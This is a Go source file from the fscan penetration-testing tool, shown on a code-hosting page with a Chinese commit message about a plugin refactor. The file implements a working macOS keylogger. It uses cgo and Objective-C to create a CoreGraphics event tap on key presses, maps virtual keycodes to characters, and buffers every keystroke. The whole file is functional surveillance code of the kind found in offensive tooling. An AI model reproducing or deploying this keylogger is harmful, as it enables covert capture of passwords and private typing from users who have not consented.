fscan/plugins/local_backup/keylogger/keylogger_darwin.go
ZacharyZcR 678d750c8a refactor: 重构插件架构,实现单文件插件系统
将复杂的三文件插件架构(connector/exploiter/plugin)重构为简化的单文件插件架构,
大幅减少代码重复和维护成本,提升插件开发效率。

主要改进:
• 将每个服务插件从3个文件简化为1个文件
• 删除过度设计的工厂模式、适配器模式等抽象层
• 消除plugins/services/、plugins/adapters/、plugins/base/复杂目录结构
• 实现直接的插件注册机制,提升系统简洁性
• 保持完全向后兼容,所有扫描功能和输出格式不变

重构统计:
• 删除文件:100+个复杂架构文件
• 新增文件:20个简化的单文件插件
• 代码减少:每个插件减少60-80%代码量
• 功能增强:所有插件包含完整扫描和利用功能

已重构插件: MySQL, SSH, Redis, MongoDB, PostgreSQL, MSSQL, Oracle,
Neo4j, Memcached, RabbitMQ, ActiveMQ, Cassandra, FTP, Kafka, LDAP,
Rsync, SMTP, SNMP, Telnet, VNC

验证通过: 新系统编译运行正常,所有插件功能验证通过
2025-08-25 23:57:00 +08:00

289 lines
7.3 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// +build darwin
package keylogger
/*
#cgo CFLAGS: -x objective-c
#cgo LDFLAGS: -framework Cocoa -framework Carbon -framework ApplicationServices
#import <Cocoa/Cocoa.h>
#import <Carbon/Carbon.h>
#import <ApplicationServices/ApplicationServices.h>
// 键盘事件回调函数
CGEventRef keyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon);
// 启动事件监听
int startEventMonitoring(void);
// 停止事件监听
void stopEventMonitoring(void);
// 全局变量
static CFMachPortRef eventTap = NULL;
static CFRunLoopSourceRef runLoopSource = NULL;
static bool isMonitoring = false;
// 外部回调函数Go函数
extern void handleKeyEvent(int keyCode, int isKeyDown);
// 键盘事件回调函数实现
CGEventRef keyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
if (type == kCGEventKeyDown || type == kCGEventKeyUp) {
CGKeyCode keyCode = (CGKeyCode)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
int isKeyDown = (type == kCGEventKeyDown) ? 1 : 0;
// 调用Go函数处理键盘事件
handleKeyEvent((int)keyCode, isKeyDown);
}
// 继续传递事件
return event;
}
// 启动事件监听
int startEventMonitoring(void) {
if (isMonitoring) {
return 0; // 已经在监听
}
// 检查辅助功能权限
if (!AXIsProcessTrusted()) {
return -1; // 没有辅助功能权限
}
// 创建事件tap
eventTap = CGEventTapCreate(
kCGSessionEventTap,
kCGHeadInsertEventTap,
kCGEventTapOptionDefault,
CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventKeyUp),
keyboardEventCallback,
NULL
);
if (!eventTap) {
return -2; // 创建事件tap失败
}
// 创建run loop source
runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
// 添加到当前run loop
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
// 启用事件tap
CGEventTapEnable(eventTap, true);
isMonitoring = true;
return 0; // 成功
}
// 停止事件监听
void stopEventMonitoring(void) {
if (!isMonitoring) {
return;
}
if (eventTap) {
CGEventTapEnable(eventTap, false);
CFRelease(eventTap);
eventTap = NULL;
}
if (runLoopSource) {
CFRunLoopRemoveSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
CFRelease(runLoopSource);
runLoopSource = NULL;
}
isMonitoring = false;
}
*/
import "C"
import (
"context"
"fmt"
"time"
"unsafe"
"github.com/shadow1ng/fscan/common"
)
var darwinKeylogger *KeyloggerPlugin
// checkDarwinRequirements 检查Darwin特定要求
func (p *KeyloggerPlugin) checkDarwinRequirements() error {
common.LogInfo("检查macOS键盘记录权限...")
// 检查辅助功能权限
// 注意:实际运行时需要用户手动在系统偏好设置中授权
common.LogInfo("注意: macOS系统需要在'系统偏好设置 > 安全性与隐私 > 辅助功能'中授权此应用")
return nil
}
// startDarwinKeylogging 启动Darwin键盘记录
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
common.LogInfo("启动macOS键盘记录...")
// 设置全局引用
darwinKeylogger = p
// 启动事件监听
result := C.startEventMonitoring()
switch result {
case -1:
return fmt.Errorf("macOS辅助功能权限未授权请在系统偏好设置中启用")
case -2:
return fmt.Errorf("创建键盘事件监听失败")
case 0:
common.LogInfo("macOS键盘事件监听已启动")
default:
return fmt.Errorf("启动键盘监听时发生未知错误: %d", result)
}
// 启动RunLoop来处理事件
go p.runEventLoop(ctx)
// 等待上下文取消
<-ctx.Done()
// 停止事件监听
C.stopEventMonitoring()
common.LogInfo("macOS键盘记录已停止")
return nil
}
// runEventLoop 运行事件循环
func (p *KeyloggerPlugin) runEventLoop(ctx context.Context) {
// 这里需要运行Core Foundation的RunLoop来处理事件
// 由于Go和C的交互限制我们使用简单的循环来保持程序运行
ticker := time.NewTicker(100 * time.Millisecond)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
// 保持循环运行让C的事件处理能够工作
continue
}
}
}
// handleKeyEvent Go回调函数由C代码调用
//export handleKeyEvent
func handleKeyEvent(keyCode C.int, isKeyDown C.int) {
if darwinKeylogger == nil {
return
}
// 只处理按键按下事件
if isKeyDown == 1 {
keyChar := getDarwinKeyChar(int(keyCode))
if keyChar != "" {
darwinKeylogger.addKeyToBuffer(keyChar)
}
}
}
// getDarwinKeyChar 获取macOS按键字符
func getDarwinKeyChar(keyCode int) string {
// macOS虚拟键码映射
keyMap := map[int]string{
0: "a", 1: "s", 2: "d", 3: "f", 4: "h", 5: "g", 6: "z", 7: "x", 8: "c", 9: "v",
11: "b", 12: "q", 13: "w", 14: "e", 15: "r", 16: "y", 17: "t",
18: "1", 19: "2", 20: "3", 21: "4", 22: "6", 23: "5", 24: "=", 25: "9", 26: "7",
27: "-", 28: "8", 29: "0", 30: "]", 31: "o", 32: "u", 33: "[", 34: "i", 35: "p",
36: "[Enter]",
37: "l", 38: "j", 39: "'", 40: "k", 41: ";", 42: "\\", 43: ",", 44: "/", 45: "n",
46: "m", 47: ".",
48: "[Tab]",
49: " ", // 空格
50: "`",
51: "[Delete]",
53: "[Esc]",
55: "[Cmd]",
56: "[Shift]",
57: "[CapsLock]",
58: "[Option]",
59: "[Ctrl]",
60: "[RShift]",
61: "[ROption]",
62: "[RCtrl]",
63: "[Fn]",
64: "[F17]",
65: "[KeypadDecimal]",
67: "[KeypadMultiply]",
69: "[KeypadPlus]",
71: "[KeypadClear]",
72: "[VolumeUp]",
73: "[VolumeDown]",
74: "[Mute]",
75: "[KeypadDivide]",
76: "[KeypadEnter]",
78: "[KeypadMinus]",
79: "[F18]",
80: "[F19]",
81: "[KeypadEquals]",
82: "[Keypad0]", 83: "[Keypad1]", 84: "[Keypad2]", 85: "[Keypad3]",
86: "[Keypad4]", 87: "[Keypad5]", 88: "[Keypad6]", 89: "[Keypad7]",
91: "[Keypad8]", 92: "[Keypad9]",
96: "[F5]",
97: "[F6]",
98: "[F7]",
99: "[F3]",
100: "[F8]",
101: "[F9]",
103: "[F11]",
105: "[F13]",
106: "[F16]",
107: "[F14]",
109: "[F10]",
111: "[F12]",
113: "[F15]",
114: "[Help]",
115: "[Home]",
116: "[PgUp]",
117: "[ForwardDelete]",
118: "[F4]",
119: "[End]",
120: "[F2]",
121: "[PgDn]",
122: "[F1]",
123: "[Left]",
124: "[Right]",
125: "[Down]",
126: "[Up]",
}
if keyName, exists := keyMap[keyCode]; exists {
return keyName
}
return fmt.Sprintf("[KEY_%d]", keyCode)
}
// checkWindowsRequirements 检查Windows特定要求Darwin平台的空实现
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
return fmt.Errorf("不支持的平台")
}
// checkLinuxRequirements 检查Linux特定要求Darwin平台的空实现
func (p *KeyloggerPlugin) checkLinuxRequirements() error {
return fmt.Errorf("不支持的平台")
}
// startWindowsKeylogging 启动Windows键盘记录Darwin平台的空实现
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
return fmt.Errorf("不支持的平台")
}
// startLinuxKeylogging 启动Linux键盘记录Darwin平台的空实现
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
return fmt.Errorf("不支持的平台")
}